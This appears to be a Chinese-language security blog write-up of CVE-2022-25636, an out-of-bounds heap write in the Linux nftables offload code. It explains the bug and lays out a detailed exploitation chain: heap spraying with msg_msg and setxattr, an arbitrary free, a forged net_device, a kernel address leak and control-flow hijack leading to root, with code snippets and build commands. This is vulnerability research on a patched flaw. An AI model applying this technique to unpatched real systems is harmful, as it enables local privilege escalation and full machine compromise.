【kernel exploit】CVE-2022-25636 nftables OOB 写堆指针漏洞利用

影响版本:Linux 5.4-rc1~5.17-rc5。5.17-rc6 已修补。

测试版本:Linux-5.13.19 (原作者在Ubuntu 21.10 内核版本 5.13.0-30 中测试,成功率40%,由于用到 msg_msg 对象,所以只能用 5.14 以前的内核版本进行测试) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_NF_TABLES=y(对应 nf_tables_offload.c)/ CONFIG_NFT_DUP_NETDEV=ydup expression 漏洞利用)/ CONFIG_NF_DUP_NETDEV=y(漏洞模块)

CONFIG_SECURITY=y (这样 free_msg() -> security_msg_msg_free() 才会释放 msg_msg->security 指针)

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

CONFIG_USER_NS=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.19.tar.xz
$ tar -xvf linux-5.13.19.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述nf_table 模块的 net/netfilter/nf_dup_netdev.c中的 nft_fwd_dup_netdev_offload() 函数由于计算分配空间与实际初始化时判断条件不一致,存在OOB write(系统必须支持包处理卸载-Network Interface Cards (NICs),但是现实中很少见),溢出写入一个 net_device 对象的地址(位于kmalloc-4k),且漏洞对象的大小可以变化(由传入的含 NFT_OFFLOAD_F_ACTION 标记的rule个数决定,可以位于 kmalloc-128kmalloc-192 等等),需要 SYS_ADMIN 权限。利用时通过 msg_msgseg 泄露 net_device kmalloc-4k 堆指针,通过覆写 msg_msg->security 指针构造任意释放,通过自带功能 ioctl(fd, SIOCGIFHWADDR, leak) 读取 net_device->dev_addr 来泄露内核基址,通过伪造 net_device->ethtool_ops->begin 函数指针劫持控制流提权

补丁:patch commit-5.4-rc1引入。

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:需两次触发漏洞,第一次是为了泄露堆地址,第2次是为了泄露内核基址并伪造 net_device 劫持控制流。提权成功率在40%左右,主要原因在于堆喷占据 net_device 对象的成功率较低。

  • (1)初始化:设置namspace、绑定到CPU0、保存现场、设置FUSE(结合setxattr() 进行堆喷,设置两种挂起方式,访问/tmp/foo/1 时根据pipe的通知来结束挂起,以释放 setxattr() 内存,访问 /tmp/foo/1 时则永久挂起永不释放);
  • (2)泄露 net_device 对象堆地址(kmalloc-4k):注意需泄露父进程和子进程2个 net_device 地址,因为父进程的 net_device 会被覆写(用于构造任意读+劫持控制流),只能利用子进程的 net_device 上的数据来泄露内核基址。(注意,泄露子进程 net_device 时需调用 clone() 创建子进程,在子进程中泄露)
    • (2-1)先喷射500个位于 kmalloc-128msg_msgsegkmalloc-4k + kmalloc-128 - msg_msg + msg_msgseg);
    • (2-2)释放第400个 msg_msgseg
    • (2-3)分配漏洞对象并触发OOB write:构造1条rule分配大小为 0x20+0x50 字节,漏洞对象位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(正好写入 msg_msgseg);
    • (2-4)泄露堆地址:读取 msg_msg,判断是否读取到 0xffff000000000000 类的地址。
  • (3)泄露内核基址
    • (3-1)准备好 setxattr() 堆喷数据,伪造主进程的 dev->name = "lo" / dev->dev_addr = child_net_device_addr + 0xc8(指向子线程的 net_device->netdev_ops 处,这样就能通过 ioctl(fd, SIOCGIFHWADDR, leak) 读取 net_device->dev_addr 来泄露内核基址) / dev->addr_len = 0x08 / dev->ifindex = 0x42424242 (可以通过 (if_nametoindex("lo") == 0x42424242) 来判断是否堆喷成功);
    • (3-2)构造任意释放,释放父进程的 net_device(尝试20次):
      • 先堆喷500个位于 kmalloc-192msg_msgmsg_msg->type = 0x4141414141414141);
      • 释放第400个 msg_msg
      • 分配漏洞对象并触发 OOB write:构造2条rule分配大小为 0x20+0x50+0x50 字节,位于 kmalloc-192 (0xc0),则 dev 指针会写到相邻堆块的 0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28) 处,恰好第6次溢出写会篡改相邻第3个 msg_msgmsg_msg->security 指针;
      • 释放 msg_msg 来释放 net_device(前一处溢出会篡改 msg_msg->m_type 低4字节为5,可通过判断所读数据的 m_type == 0x4141414100000005 ? 来判断是否释放的是被篡改的 msg_msg,也即判断 net_device 是否释放成功 )。
    • (3-3)堆喷伪造 net_device :注意要在子线程中调用 setxattr() 堆喷 1000 次,因为会阻塞,通过 (if_nametoindex("lo") == 0x42424242) 来判断是否堆喷成功;
    • (3-4)泄露内核基址:通过 ioctl(fd, SIOCGIFHWADDR, leak) 读取 dev->dev_addr
  • (4)劫持控制流
    • (4-1)释放 net_device:通过pipe通知 FUSE 结束阻塞,释放 setxattr() 堆喷的内存块;
    • (4-2)准备好 setxattr() 堆喷数据,布置好 ROP chain,伪造主进程的 dev->ifindex = 0x43434343 / dev->ethtool_ops / ethtool_ops->begin() (用于劫持控制流的函数指针);
    • (4-3)堆喷伪造 net_device :堆喷1000个 setxattr()通过 (if_nametoindex("lo") == 0x43434343) 来判断是否堆喷成功
    • (4-4)劫持控制流:通过调用 ioctl(fd, SIOCETHTOOL, &ifr) 来触发执行 net_device->ethtool_ops.begin()

1. 漏洞分析

1-1 漏洞发现

缘由:作者也是受了 CVE-2021-22555 的启发,决定审计一下 Netfilter 的源码。首先从协议解析部分看起,主要是从用户层获取configuration input 并进行解析的代码部分(通过 netlink socket 来获取用户输入)开始看,用户可以传入配置信息来激活netfilter中的某些decoder代码。由于syzkaller对这些代码的覆盖有限,所以很有可能发现漏洞。

可疑点:作者在 nft_fwd_dup_netdev_offload() 中看到可疑的一行,一是 ctx->num_actions 用作下标但没有边界检查;二是 ctx->num_actions 下标和访问的主体 flow->rule->action.entries 是来自不同结构的变量,二者没有联系,因为 a->b[x->y]a->b[a->c] 要更可疑。

entry = &flow->rule->action.entries[ctx->num_actions++];

1-2 漏洞分析

漏洞总结:先计算 flag=NFT_OFFLOAD_F_ACTION 的 expression 数量并分配相应大小的空间,但之后进行初始化时却对每个 expression 都调用 nft_fwd_dup_netdev_offload() 进行初始化,导致堆溢出。注意,有的 rule 例如 dup 和 fwd rule 不包含此 flag,只有 nft_immediate expression 才含有此flag,必须强制每条 dup 和 fwd rule 都包含一条 nft_immediate expression才能避免漏洞。

漏洞调用链:nft_flow_rule_create() -> nft_dup_netdev_offload() / nft_fwd_netdev_offload() (dup / fwd expression) -> nft_fwd_dup_netdev_offload() (溢出点)

struct nft_flow_rule *nft_flow_rule_create(struct net *net, const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;	// [1] 计算 flag == NFT_OFFLOAD_F_ACTION 的 expression 数量 (num_actions), dup 和 fwd expression 都不含此flag

		expr = nft_expr_next(expr);
	}
	...
	flow = nft_flow_rule_alloc(num_actions);		// [2] 分配包含 num_actions 个expression 的 rule
	...
	expr = nft_expr_first(rule);

	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);	// [3] 分配 context ctx, ctx->num_actions 初始化为0
	...
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);	// [4] 实际上对每个expression都调用offload漏洞函数(参数是ctx), 只有保证每个 dup/fwd 都包含一个 immediate 才不会溢出
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	...
}

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// [5] 漏洞点: OOB, 没有堆边界检查, 导致 ctx->num_actions 超过 flow->rule->action.entries 数组范围, 越界写1个整数 (4或5) 和1个指针
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

漏洞

  • [1][2]nft_flow_rule_create() 计算带有 NFT_OFFLOAD_F_ACTION flag 标记的 expression数量(使用num_actions 变量来计数),并根据该数量来申请相应大小的结构体;
  • [4]:调用 offload 进行初始化时没有用 num_actions 限制循环次数,而是遍历所有 expression,也没有判断是否含有 NFT_OFFLOAD_F_ACTION flag 标记,导致调用offload次数大于之前申请的flow->rule->action.entries 数量;
  • [5]:每次调用ctx->num_actions 会加一,且ctx->num_actions[3]处初始化为0,最后ctx->num_actions 会大于flow->rule->action.entries数组范围,造成越界。

结构关系:nft_flow_rule -> flow_rule -> flow_action -> flow_action_entry

struct nft_flow_rule {	// kmalloc-32
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;			// <---- 
};

struct flow_rule {		
	struct flow_match	match;
	struct flow_action	action;			// <----
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[]; // <---- 在最上层 flow_rule 对象中的偏移为 0x20
};

struct flow_action_entry { 	// 大小 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

漏洞触发:由于不知道如何与 nftables 交互,作者参考了 One mailing list post —— nftables table/chain 定义及安装示例,如何设置 offload flag 才能到达漏洞点(关键是这个 check 语句)。可以参考 https://www.openwall.com/lists/oss-security/2022/02/21/2,通过C语言的libmnl和libnftnl 库来使用 netfilter更方便,只要添加的rule不包含NFT_OFFLOAD_F_ACTION flag标记,就能触发OOB。只有nftnl_expr_alloc("immediate");添加的rule才有NFT_OFFLOAD_F_ACTION 标记:

for(int i = 0; i < legit_writes; i++) {// 如下添加 expr 不会越界: 每条rule都包含一条 `nft_immediate` expression
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// 如下添加 expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

1-3. 漏洞测试

漏洞触发测试

table netdev filter_test {
  chain ingress {
    type filter hook ingress device eth0 priority 0; flags offload;
    ip daddr 192.168.0.10 tcp dport 22 drop
  }
}

有了这个例子,就可以测试是否能触发漏洞了。首先,对 flow_rule_alloc() (nft_flow_rule_alloc() -> flow_rule_alloc() 负责创建 action.entries 数组)设置一个 kprobe,来获取其参数 num_actions 的值 —— sudo kprobe-perf -F 'p:flow_rule_alloc num_actions=%di:u32',但是失败了,因为Ubuntu上是延迟加载 nftables,可以先执行 nft -a mailing_list.nft 来强制内核加载 nftables,这样才能在该函数上设置kprobe。

实际运行 nft -a mailing_list.nft 后居然触发了 kprobe,由于是在VM上测试,这说明没有网络设备和hardware offload 支持,也能触发!

$ sudo nft -f mailing_list.nft
a.nf:1:1-2: Error: Could not process rule: Operation not supported
table netdev x {
^^
$ sudo kprobe-perf 'p:flow_rule_alloc num_actions=%di:u32'
Tracing kprobe flow_rule_alloc. Ctrl-C to end.
             nft-20137   [001] .... 1573655.306178: flow_rule_alloc: (flow_rule_alloc+0x0/0x60) num_actions=1

在修改了 example 之后(加入 dup expression,将rule改为ip daddr 192.168.0.10 dup to eth0),系统还是没有崩溃

可以在创建新的命名空间 (命令 $ unshare -Urn)之后再运行 nft 命令。

打印rule:执行 nft 命令时加上 -d netlink 可以打印出传入内核的 rule。例如以下。

[ meta load protocol => reg 1 ]
[ cmp eq reg 1 0x00000008 ]
[ payload load 4b @ network header + 16 => reg 1 ]
[ cmp eq reg 1 0x0a00a8c0 ]
[ immediate reg 1 0x00000001 ]
[ dup sreg_dev 1 ]

这样一看就知道为什么没有触发漏洞了,因为CLI在dup(表示包需要复制到的目标设备)之前生成了一个 immediate expression,所以能不能生成一个不含 immediate expression 的 dup 呢?只能尝试手动构造包了。

用Go写PoC:尝试用Go来构造PoC,因为Go有很多库支持,其中就有 nftables library 。但是在手动构造rule时,发现不能设置 offload flag,只能在包构造好之后覆写消息数组上的 offload flag。最后成功触发漏洞。但是写exp时还是得用C来写,毕竟 libmnl / libnftl 库很方便

2. 漏洞利用

两处OOB write:越界写一个整数(固定为4或5)和一个指针(*dev 指向 net_device 结构体),主要关注指针写。

entry = &flow->rule->action.entries[ctx->num_actions++];
entry->id = id;		// [1] 写 4 或 5, 取决于是 fwd 还是 dup
entry->dev = dev;   // [2] array 之后的第24字节写 *dev 堆指针

漏洞对象与OOB偏移:作者测试的是5.13内核, flow_rule 结构的头部是0X20字节(不包含 entries 的部分),flow_rule.action.entries 数组中每个entry ( flow_action_entry 结构)是0X50字节,我们只关注 *dev 指针越界写,*dev 指针会被写到 flow_action_entry 结构的偏移 0x18 处(例如相邻 kmalloc-32 / kmalloc-192 的偏移24处,或者kmalloc-128的偏移8处):

  • 如果rule中没有 immediate ,则rule位于 kmalloc-32;
  • 1条rule分配大小为 0x20+0x50 字节,位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(泄露net_device堆地址时可以覆写位于 kmalloc-128 的 msg_msgseg);
  • 2条rule分配0x20+0x50+0x50字节,位于kmalloc-192 (0xc0),则dev指针会写到0xd8处,也就是越界偏移0x18,越界2次会写在偏移 0x18+0x50 处,以此类推(受到 CVE-2021-26708 的启发,构造任意释放时,可以溢出6次以覆写第相邻的第3个 msg_msgmsg_msg->security 指针,具体的6次 OOB write 偏移为 0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28))。

2-1 泄露 net_device 堆地址

方法:泄露两次 *dev 地址,1个在父进程泄露,1个在子进程泄露。

  • (1)堆喷大小为0x1040的 msg_msg (位于 kmalloc-4k + kmalloc-128);
  • (2)释放一个msg(会释放一个 kmalloc-128);
  • (3)分配大小也为 kmalloc-128 的漏洞对象并触发OOB,在kmalloc-128 的 msg_msgseg 偏移0x8处写入 *dev 堆指针;
  • (4)读取 msg_msg 即可泄露net_device堆地址。

2-2 泄露内核基址

方法

  • (1)堆喷位于 kmalloc-192 的 msg_msg
  • (2)释放1个作为hole;
  • (3)这次构造2个rule触发 kmalloc-192 的漏洞OOB;
  • (4)任意释放:越界在相邻堆块的偏移 0x18+0x50*5 的地方写入 *dev 指针,正好是第3个 kmalloc-192 msg_msg 的偏移0x28 处,也就是 msg_msg->security 指针,这样就能利用释放 msg_msg->security 来释放 net_device 结构体。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
	...
	free_msg(msg); 			
	...
}

void free_msg(struct msg_msg *msg)
{
	...
	security_msg_msg_free(msg);
	...
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);		// <----------
	msg->security = NULL;
}
  • (5)利用 setxattr()+userfaultfd 堆喷伪造 net_device 对象(位于kmalloc-4k)。篡改 net_device->dev_addr 指向子进程的 net_device->netdev_ops 位置,因为netdev_ops 会初始化为loopback_ops,也即内核基址。可根据net_device->name来判断是否堆喷篡改是否成功;
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
  • (6)接下来只要调用 ioctl(fd, SIOCGIFHWADDR, leak) 功能读取物理地址,就可以读取到 net_device->dev_addr 指向的值来泄露内核基址。net_device 中有用的成员和对应偏移如下所示:
struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

地址泄露的调用路径:SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_get_mac_address() 读取 net_device->dev_addr mac 地址。

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
	case SIOCGIFHWADDR:			// ioctl(SIOCGIFHWADDR)
		dev_load(net, ifr->ifr_name);
		ret = dev_get_mac_address(&ifr->ifr_hwaddr, net, ifr->ifr_name);	// <---- dev_get_mac_address()
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_get_mac_address(struct sockaddr *sa, struct net *net, char *dev_name)
{
	size_t size = sizeof(sa->sa_data);
	struct net_device *dev;
	int ret = 0;

	down_read(&dev_addr_sem);
	rcu_read_lock();

	dev = dev_get_by_name_rcu(net, dev_name);
	if (!dev) {
		ret = -ENODEV;
		goto unlock;
	}
	if (!dev->addr_len)
		memset(sa->sa_data, 0, size);
	else
		memcpy(sa->sa_data, dev->dev_addr,			// <-------- 获取 `net_device->dev_addr` 位置处的数据, 还要伪造 `net_device->addr_len` 长度值为 0x8
		       min_t(size_t, size, dev->addr_len));
	sa->sa_family = dev->type;

unlock:
	rcu_read_unlock();
	up_read(&dev_addr_sem);
	return ret;
}
EXPORT_SYMBOL(dev_get_mac_address);

2-3 劫持控制流并提权

同样的方法,使用 setxattr()+userfaultfd 堆喷伪造 net_device 对象,篡改net_device->ethtool_ops 劫持控制流,调用使用 ioctl(fd, SIOCETHTOOL, &ifr) 就会触发执行 net_device->ethtool_ops.begin() 劫持控制流,然后ROP即可。作者测试环境为 Ubuntu 21.10 内核版本 13.0-30。

结构关系:net_device -> ethtool_ops -> int (*begin)(struct net_device *)

struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

struct ethtool_ops {
    ...
    int	(*begin)(struct net_device *);		// 0xc8 待劫持的目标函数指针, $rdi 指向可控的 net_device, 使用 rdi->rsp 类型的 pivot gadget
    ...
}

调用路径:SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_ethtool() 最终调用执行 net_device->ethtool_ops.begin() 函数。

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
    ...
    case SIOCETHTOOL:
		dev_load(net, ifr->ifr_name);
		rtnl_lock();
		ret = dev_ethtool(net, ifr);	// <-----
		rtnl_unlock();
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_ethtool(struct net *net, struct ifreq *ifr)
{
	struct net_device *dev = __dev_get_by_name(net, ifr->ifr_name);
	void __user *useraddr = ifr->ifr_data;
	u32 ethcmd, sub_cmd;
	int rc;
	netdev_features_t old_features;

	if (!dev || !netif_device_present(dev))
		return -ENODEV;

	if (copy_from_user(&ethcmd, useraddr, sizeof(ethcmd)))
		return -EFAULT;

	if (ethcmd == ETHTOOL_PERQUEUE) {
		if (copy_from_user(&sub_cmd, useraddr + sizeof(ethcmd), sizeof(sub_cmd)))	// ifreq->ifr_data
			return -EFAULT;
	} else {
		sub_cmd = ethcmd;
	}
    ...
    if (dev->ethtool_ops->begin) {
		rc = dev->ethtool_ops->begin(dev);		// 控制流劫持点
		if (rc  < 0)
			return rc;
	}
    old_features = dev->features;

	switch (ethcmd) {
	case ETHTOOL_GSET:
		rc = ethtool_get_settings(dev, useraddr);
		break;
    ...
    }
}

测试截图

【kernel exploit】CVE-2022-25636 nftables OOB 写堆指针漏洞利用_第1张图片

3. 补充

3-1 常用命令

libfuse安装:参考 Ubuntu 18.04 LTS编译安装FUSE

# (1)方法1:直接命令行安装
$ sudo apt-get install -y libfuse-dev
# (2)方法2:源码安装
$ sudo apt-get install ninja-build meson python
# Meson预处理
$ tar zxvf libfuse-fuse-3.8.0.tar.gz
$ mv libfuse-fuse-3.8.0 libfuse
$ cd libfuse
$ mkdir build; cd build
$ meson ..
# 使用Ninja来build,test和 install libfuse
$ ninja
$ sudo python3 -m pytest test/
$ sudo apt-get install python3-pip # 安装pip3
$ pip3 install pytest   # 安装python3 的pytest模块
$ sudo ninja install	# 默认安装目录是 /usr/local/include/fuse3

# 问题: meson 版本太老 		Meson version is 0.37.1 but project requires >= 0.42.
$ sudo apt-get install python3-pip
$ pip3 install --user meson
$ meson -v
$ export PATH=~/.local/bin:$PATH
$ meson -v
# 更新 python 	https://segmentfault.com/a/1190000021967408
$ sudo apt update
$ sudo apt install software-properties-common
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt install python3.8

libmnl / libnftl 安装:参见 CVE-2022-32250

$ sudo apt-get install libcap2-bin bzip2 make pkg-config        # 安装 setcap/bzip2/make/pkg-config
$ tar   -jxvf    xx.tar.bz2
$ ./configure --prefix=/usr && make     # libmnl / libnftl
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

3-2 exp 编译问题

现在问题是,在文件系统中安装FUSE很困难(需要更新一系列软件,例如meson/python等),可以采用之前调试CVE-2021-41073时用到的FUSE静态库;而 libmnl / libnftl 库只能用动态版本。所以编译exp时要么全部动态编译,要么部分动态编译部分静态编译,如果在主机上编译也会有问题,gcc版本不兼容,所以传入到QEMU中执行不了。所以只能直接在QEMU上对exp进行部分动态编译+部分静态编译。

解决1-更新gcc:问题是QEMU中gcc版本是6.3.0,太老了,如何更新到gcc 9.0 以上呢?

# (1) 源码更新
$ wget https://ftp.gnu.org/gnu/gcc/gcc-9.1.0/gcc-9.1.0.tar.gz
$ tar -zxvf gcc-9.1.0.tar.gz
$ cd gcc-9.1.0
#检测和安装相关依赖包,这个过程需要耐心等待(此步骤会将依赖包下载到gcc-7.3.0目录,如果因网络原因无法完成请自行使用wget下载)
$ ./contrib/download_prerequisites
$ mkdir build
$ cd build
$ ../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib
#编译过程漫长,请耐心等待
$ make -j4
$ sudo make install

# (2) apt-get 更新gcc —— 失败
$ sudo apt-get install software-properties-common 		# add-apt-repository
$ sudo add-apt-repository ppa:ubuntu-toolchain-r/test
$ sudo apt-get update
$ sudo apt-get install gcc-11

解决2-更新文件系统(自带新版本gcc):gcc更新总是失败,试着创建一个新的文件系统,采用最新的Debian 为基础(Debian 11 - bullseye,Debian 10 - buster,Debian 9 - stretch)。利用syzkaller中用到的 create-image.sh 脚本来构建,将 stretch 改为 bullseye

编译exp:libfuse 参见 CVE-2021-41073

$ sudo apt-get install -y libfuse-dev  # 不安装的话没有 -lfuse 选项
# 编译exp 				注意libmnl不支持静态编译,加 -static 就会报错; 加 -lrt 表示实时库
$ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit

# 记录一下尝试的其他编译命令
# static libfuse $ gcc -no-pie ./exploit.c ./fakefuse.c -I./libfuse libfuse3.a -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/local/include/fuse3 -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -Wl,-Bdynamic -lmnl -lnftnl -o exploit -masm=intel -lpthread
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -masm=intel -pthread -Wl,-Bdynamic -lmnl -lnftnl -o exploit 

参考

The Discovery and Exploitation of CVE-2022-25636 —— 作者1的writeup

exploit —— 另一位作者的exp

How To Fix CVE-2022-25636- A Heap Out Of Bounds Write Vulnerability In Netfilter

https://www.openwall.com/lists/oss-security/2022/02/21/2

https://www.openwall.com/lists/oss-security/2022/02/22/1

[漏洞分析] CVE-2022-25636 netfilter内核提权

其他:

linux双机调试环境配置 —— 安装官方发布的调试符号信息

ubuntu 内核双机调试方法

双机调试Linux内核 —— 自己编译内核并安装调试符号,双机调试

GCC同时使用静态库和动态库链接 2 —— 部分动态编译部分静态编译exp

你可能感兴趣的:(内核漏洞利用,内核漏洞,内核,linux,运维,服务器)